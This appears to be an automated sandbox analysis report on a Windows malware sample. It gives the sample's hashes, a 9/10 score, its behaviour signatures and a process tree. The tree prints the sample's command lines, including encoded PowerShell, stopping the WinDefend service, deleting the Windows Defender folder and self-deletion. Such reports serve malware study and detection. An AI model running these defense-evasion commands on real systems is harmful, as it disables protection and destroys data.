Overview

overview

10

Static

static

32ac830fd8...ca.exe

windows7_x64

9

32ac830fd8...ca.exe

windows10_x64

10

Analysis

  • max time kernel
    120s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    12/01/2022, 11:06

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General

  • Target
    32ac830fd8d20efe0f7316bc724d67ca.exe
  • Size 1.0MB
  • Sample220112-m7ebqacdgr
  • SHA256 c6fcfa2b71a7e372ec17ad65278786c011a32cd9008e3879bdd59ad1addf63bb
  • MD5 SHA1 SHA512
Score
9/10

Malware Config

Signatures

  • Nirsoft 13 IoCs
  • Executes dropped EXE 4 IoCs
  • Deletes itself 1 IoCs
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious use of AdjustPrivilegeToken 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
    "C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1636
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc aQBwAGMAbwBuAGYAaQBnACAALwByAGUAbABlAGEAcwBlAA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:764
      • C:\Windows\SysWOW64\ipconfig.exe
        "C:\Windows\system32\ipconfig.exe" /release
        3⤵
        • Gathers network information
        PID:1144
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMgA1AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:968
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc aQBwAGMAbwBuAGYAaQBnACAALwByAGUAbgBlAHcA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1472
      • C:\Windows\SysWOW64\ipconfig.exe
        "C:\Windows\system32\ipconfig.exe" /renew
        3⤵
        • Gathers network information
        PID:1608
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMQAuADUA
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1732
    • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\sc.exe" /WindowState 0 /CommandLine "stop WinDefend" /StartDirectory "" /RunAs 8 /Run
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      PID:1476
      • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
        "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 1476
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:748
    • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
      "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /EXEFilename "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" /WindowState 0 /CommandLine "rmdir 'C:\ProgramData\Microsoft\Windows Defender' -Recurse" /StartDirectory "" /RunAs 8 /Run
      2⤵
      • Executes dropped EXE
      • Loads dropped DLL
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1460
      • C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe
        "C:\Users\Admin\AppData\Local\Temp\AdvancedRun.exe" /SpecialRun 4101d8 1460
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1628
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Sleep -s 5; Remove-Item -Path "C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe" -Force
      2⤵
      • Deletes itself
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:684
    • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
      C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
      2⤵
        PID:1484
      • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
        C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
        2⤵
          PID:1488
        • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
          C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
          2⤵
            PID:1812
          • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
            C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
            2⤵
              PID:1624
            • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
              C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
              2⤵
                PID:1892
              • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                2⤵
                  PID:1512
                • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                  C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                  2⤵
                    PID:1160
                  • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                    C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                    2⤵
                      PID:1832
                    • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                      C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                      2⤵
                        PID:1608
                      • C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                        C:\Users\Admin\AppData\Local\Temp\32ac830fd8d20efe0f7316bc724d67ca.exe
                        2⤵
                          PID:1464

                      Network

                            MITRE ATT&CK Enterprise v6

                            Replay Monitor

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                            Downloads

                            memory/764-61-0x0000000002500000-0x000000000314A000-memory.dmp
                            Download

                            memory/1636-78-0x00000000048F0000-0x000000000494C000-memory.dmp
                            Download

                            memory/1636-56-0x0000000000360000-0x0000000000468000-memory.dmp
                            Download

                            memory/1636-55-0x0000000000360000-0x0000000000468000-memory.dmp
                            Download

                            memory/1636-57-0x0000000076921000-0x0000000076923000-memory.dmp
                            Download

                            memory/1636-58-0x00000000049D0000-0x00000000049D1000-memory.dmp
                            Download

                            memory/1732-75-0x0000000000360000-0x0000000000361000-memory.dmp
                            Download

                            memory/1732-76-0x0000000000361000-0x0000000000362000-memory.dmp
                            Download

                            memory/1732-77-0x0000000000362000-0x0000000000364000-memory.dmp
                            Download